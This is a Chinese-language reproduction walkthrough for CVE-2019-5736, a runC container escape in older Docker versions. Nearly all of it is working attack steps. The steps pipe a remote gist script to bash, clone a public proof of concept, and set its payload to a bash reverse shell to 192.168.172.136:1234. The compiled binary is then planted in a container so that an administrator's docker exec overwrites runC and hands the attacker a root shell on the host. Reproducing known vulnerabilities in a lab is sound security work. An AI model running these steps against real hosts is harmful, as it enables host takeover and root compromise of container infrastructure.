漏洞简述:
攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
利用条件:
Docker版本 < 18.09.2,runC版本< 1.0-rc6。(在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6。)
可通过 docker 和docker-runc 查看当前版本情况。
漏洞测试复现:
1、漏洞环境准备:
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
或者直接下载脚本安装
1 |
|
install.sh 内容如下:
View Code
2、下载POC,编译脚本
# 下载POC git clone https://github.com/Frichetten/CVE-2019-5736-PoC # 修改Payload vi main.go payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"(设置为个人监听IP) # 编译生成payload CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
3、模仿攻击者,在容器中执行payload
# 拷贝到docker容器 sudo docker cp ./main 248f8b7d3c45:/tmp # 进入容器 sudo docker exec -it 248f8b7d3c45 /bin/bash # 修改权限 chmod 777 main # 执行Payload ./main
4、假设,管理员通过exec进入容器,从而触发Payload。
sudo docker exec -it cafa20cfb0f9 /bin/sh
5、在192.168.172.136上监听本地端口,成功获取宿主机反弹回来的shell。